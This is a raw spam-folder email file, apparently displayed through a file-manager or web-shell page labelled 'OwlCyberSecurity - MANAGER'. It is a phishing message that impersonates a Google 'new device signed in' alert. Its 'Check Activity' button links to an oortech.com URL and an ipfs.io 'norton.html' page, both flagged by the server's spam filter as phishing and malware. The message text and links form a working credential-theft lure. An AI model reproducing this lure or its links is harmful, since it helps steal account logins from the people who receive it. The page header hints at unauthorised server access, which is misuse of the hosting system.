OwlCyberSecurity - MANAGER
Edit File: 1725851879.M141703P2373421.premium128.web-hosting.com,S=11882,W=12098:2,
Return-Path: <info9@jkorte.gucsdept.com> Delivered-To: contact+spam@gourayafroid.com Received: from premium128.web-hosting.com by premium128.web-hosting.com with LMTP id UGeSBudo3mYtNyQAAvhI2g (envelope-from <info9@jkorte.gucsdept.com>) for <contact+spam@gourayafroid.com>; Sun, 08 Sep 2024 23:17:59 -0400 Return-path: <info9@jkorte.gucsdept.com> Envelope-to: contact@gourayafroid.com Delivery-date: Sun, 08 Sep 2024 23:17:59 -0400 Received: from srv8.softwebdesigners.com ([162.241.137.141]:33964) by premium128.web-hosting.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96.2) (envelope-from <info9@jkorte.gucsdept.com>) id 1snUuV-009zW8-2J for contact@gourayafroid.com; Sun, 08 Sep 2024 23:17:58 -0400 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=jkorte.gucsdept.com; s=default; h=Message-Id:Date:MIME-Version:Content-Type :To:Subject:From:Sender:Reply-To:Cc:Content-Transfer-Encoding:Content-ID: Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe: List-Subscribe:List-Post:List-Owner:List-Archive; bh=QVTRKhQbT733R67dcRSeCvJXPn9CTSuPf4u9nPsNdLg=; b=dGY100IpOnUwfRrDkXfXbH4kmY JJUDQbte5snFkRt4Vxj+wgwX7NFfZedIySE/iSLzEezA17mfMCHO5deVG0s1Af2ZGEe3ZYsc1lG7R gvSCoOQd/BV22hdnqRNUG+tZ9zjwWocPtusc0rL1rg05/qXspeW6JIyIJSwkznTgV/0froh8Scxcg MoT55lpsZTSnpv3yNgC/kiDKCnFFIWYEZeRFcgQJQoxrsDD+RjfhDzC+q5B3zomjnJ6wSd3NXmLUc V3AaC5uMETOGVjDHJwxAVv0W6SAvE4xzCHnKpAwmIdfwwkZUpqFFkk03C63rPNjHGr3rdAf/u/7zX sJ7rwoqQ==; Received: from [45.133.174.29] (port=58748 helo=WIN-CS75A7L4O90) by guc.gucsdept.com with esmtpsa (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96.2) (envelope-from <info9@jkorte.gucsdept.com>) id 1smujX-00079i-1E for contact@gourayafroid.com; Sat, 07 Sep 2024 07:40:10 -0500 From: "Notice!!!" <info9@jkorte.gucsdept.com> To: <contact@gourayafroid.com> Content-Type: multipart/alternative; boundary="6byHRsXUPsSrBoap1WkUM8=_jX44vX77Jg" MIME-Version: 1.0 Date: Sat, 7 Sep 2024 05:40:09 -0700 Message-Id: <07072024094005AA6EAE988F$6128E54284@jkorte.gucsdept.com> X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - guc.gucsdept.com X-AntiAbuse: Original Domain - gourayafroid.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - jkorte.gucsdept.com X-Get-Message-Sender-Via: guc.gucsdept.com: authenticated_id: info9@jkorte.gucsdept.com X-Authenticated-Sender: guc.gucsdept.com: info9@jkorte.gucsdept.com X-Source: X-Source-Args: X-Source-Dir: X-Spam-Status: Yes, score=8.0 X-Spam-Score: 80 X-Spam-Bar: ++++++++ X-Spam-Report: Spam detection software, running on the system "premium128.web-hosting.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: New device signed in to contact@gourayafroid.com Your Account was just signed in to a new Windows device. You're getting this email to make sure it was you. Check Activity https://apst.standard.us-east-1.oortech.com/apst/engg.net?signature=ce16195c6923d7a0bd4101286bc97cd8cf57f30690684b51de00702d9d539e3e7a772d6d79bbced2fd0be64d22ce254c55520c7f698fcb9f51d5d [...] Content analysis details: (8.0 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URIs: ipfs.io] 2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus DBL blocklist [URIs: oortech.com] 2.5 URIBL_DBL_MALWARE Contains a malware URL listed in the Spamhaus DBL blocklist [URIs: oortech.com] 0.1 URIBL_SBL_A Contains URL's A record listed in the Spamhaus SBL blocklist [URIs: ipfs.io] -0.0 SPF_PASS SPF: sender matches SPF record 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [162.241.137.141 listed in sa-trusted.bondedsender.org] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [162.241.137.141 listed in bl.score.senderscore.com] 0.0 HTML_MESSAGE BODY: HTML included in message 0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to background -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's domain -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid 3.0 URI_IPFSIO References Interplanetary File System PtP content via ipfs.io, likely phishing 0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted Colors in HTML 0.0 KAM_SHORT Use of a URL Shortener for very short URL X-Spam-Flag: YES Subject: ***SPAM*** Important Notice - New Device Signed In This is a multi-part message in MIME format --6byHRsXUPsSrBoap1WkUM8=_jX44vX77Jg Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable New device signed in to contact@gourayafroid.com Your Account was just signed in to a new Windows device. You're gettin= g this email to make sure it was you.=20 Check Activity https://apst.standard.us-east-1.oortech.com/apst/engg.n= et?signature=3Dce16195c6923d7a0bd4101286bc97cd8cf57f30690684b51de00702= d9d539e3e7a772d6d79bbced2fd0be64d22ce254c55520c7f698fcb9f51d5d99358145= e9c8b4d133764690873b75ab3e2f8e90acf84152152e25973187c63980efa48309b1f8= e21cdb8485f66d01a71c9d034602e&provider=3D#contact@gourayafroid.com You can also see security activity You received this email to let you know about important changes to you= r contact@gourayafroid.com Account and services. =A9 2024=20 link.net http://link.net/ LLC,=20 1600 Amphitheatre Parkway, Mountain View, CA 94043, USA --6byHRsXUPsSrBoap1WkUM8=_jX44vX77Jg Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <html><head> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-= 8859-1"> <META name=3D"viewport" content=3D"width=3Ddevice-width, initial-sca= le=3D1"> <META name=3D"format-detection" content=3D"telephone=3Dno"><t= itle>Important Notice - New Device Signed In</title> </head> <body style=3D"BACKGROUND-COLOR: #ffffff" bgColor=3D#ffffff> <DIV sty= le=3D"BOX-SIZING: border-box; FONT-SIZE: small; BORDER-TOP: rgb(218,22= 0,224) thin solid; FONT-FAMILY: Arial, Helvetica, sans-serif; BORDER-R= IGHT: rgb(218,220,224) thin solid; WHITE-SPACE: normal; WORD-SPACING: = 0px; BORDER-BOTTOM: rgb(218,220,224) thin solid; TEXT-TRANSFORM: none;= FONT-WEIGHT: 400; COLOR: rgb(34,34,34); PADDING-BOTTOM: 40px; FONT-ST= YLE: normal; PADDING-TOP: 40px; PADDING-LEFT: 20px; BORDER-LEFT: rgb(2= 18,220,224) thin solid; ORPHANS: 2; WIDOWS: 2; PADDING-RIGHT: 20px; TE= XT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: nor= mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initia= l; text-decoration-style: initial; text-decoration-color: initial; bor= der-radius: 8px" align=3Dcenter> <DIV style=3D"BOX-SIZING: border-box;= BORDER-BOTTOM: rgb(218,220,224) thin solid; PADDING-BOTTOM: 24px; LIN= E-HEIGHT: 32px"> <DIV style=3D"BOX-SIZING: border-box"><SPAN style=3D"= FONT-SIZE: 24px; FONT-FAMILY: 'Google Sans', Roboto, RobotoDraft, Helv= etica, Arial, sans-serif">New device signed in to <B>contact= @gourayafroid.com</B></SPAN></DIV><BR style=3D"BOX-SIZING: border-box"= ></DIV> <DIV style=3D"BOX-SIZING: border-box; FONT-FAMILY: Roboto-Regu= lar, Helvetica, Arial, sans-serif; PADDING-TOP: 20px; LINE-HEIGHT: 20p= x"><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px">Your Accoun= t was just signed in to a new Windows device. You're getting this emai= l to make sure it was you.</SPAN> <DIV style=3D"BOX-SIZING: border-box= ; PADDING-TOP: 32px"><A style=3D"BOX-SIZING: border-box; FONT-FAMILY: = 'Google Sans', Roboto, RobotoDraft, Helvetica, Arial, sans-serif; MIN-= WIDTH: 90px; COLOR: rgb(255,255,255); PADDING-BOTTOM: 10px; PADDING-TO= P: 10px; PADDING-LEFT: 24px; DISPLAY: inline-block; LINE-HEIGHT: 16px;= PADDING-RIGHT: 24px; BACKGROUND-COLOR: rgb(65,132,243); text-decorati= on-line: none; border-radius: 5px" href=3D"https://apst.standard.us-ea= st-1.oortech.com/apst/engg.net?signature=3Dce16195c6923d7a0bd4101286bc= 97cd8cf57f30690684b51de00702d9d539e3e7a772d6d79bbced2fd0be64d22ce254c5= 5520c7f698fcb9f51d5d99358145e9c8b4d133764690873b75ab3e2f8e90acf8415215= 2e25973187c63980efa48309b1f8e21cdb8485f66d01a71c9d034602e&provider= =3D#contact@gourayafroid.com" rel=3Dnoreferrer target=3D_blank data-sa= feredirecturl=3D"https://www.google.com/url?q=3Dhttps://ipfs.io/ipfs/Q= meYTsM5YN8b5ySGxfZ3sRkGQb5jveGwX9bx4mAKAaWMa9?filename%3Dnorton.html%2= 3zavir@zavir.com&source=3Dgmail&ust=3D1725761144869000&usg= =3DAOvVaw1TVm-t3gnjozXaSjeqI8VN">Check Activity</A></DIV></DIV> <DIV s= tyle=3D"BOX-SIZING: border-box; FONT-SIZE: 12px; COLOR: rgb(95,99,104)= ; PADDING-TOP: 20px; LINE-HEIGHT: 16px">You can also see security acti= vity<BR style=3D"BOX-SIZING: border-box"> </DIV></DIV> <DIV style= =3D"BOX-SIZING: border-box; FONT-SIZE: small; FONT-FAMILY: Arial, Helv= etica, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSF= ORM: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal;= ORPHANS: 2; WIDOWS: 2; TEXT-INDENT: 0px; font-variant-ligatures: norm= al; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-de= coration-thickness: initial; text-decoration-style: initial; text-deco= ration-color: initial"> <DIV style=3D"BOX-SIZING: border-box; FONT-SIZ= E: 11px; FONT-FAMILY: Roboto-Regular, Helvetica, Arial, sans-serif; PA= DDING-TOP: 12px; LINE-HEIGHT: 18px"> <DIV style=3D"BOX-SIZING: border-= box">You received this email to let you know about important changes t= o your <FONT color=3D#1155cc>contact@gourayafroid.com</FONT> = ;Account and services.</DIV> <DIV style=3D"BOX-SIZING: border-box; DIR= ECTION: ltr">© 2024 <A style=3D"BOX-SIZING: border-box; COLO= R: rgb(17,85,204); BACKGROUND-COLOR: transparent; text-decoration-line= : none" href=3D"http://link.net/" rel=3Dnoreferrer target=3D_blank dat= a-saferedirecturl=3D"https://www.google.com/url?q=3Dhttp://link.net/&a= mp;source=3Dgmail&ust=3D1725761144869000&usg=3DAOvVaw0GEUbjVD8= FHXov8J_X1b0S">link.net</A> LLC, <A style=3D"BOX-SIZIN= G: border-box; COLOR: ; PADDING-TOP: 12px; LINE-HEIGHT: 18px; BACKGROU= ND-COLOR: transparent">1600 Amphitheatre Parkway, Mountain View, CA 94= 043, USA</A></DIV></DIV></DIV></body> </html> --6byHRsXUPsSrBoap1WkUM8=_jX44vX77Jg--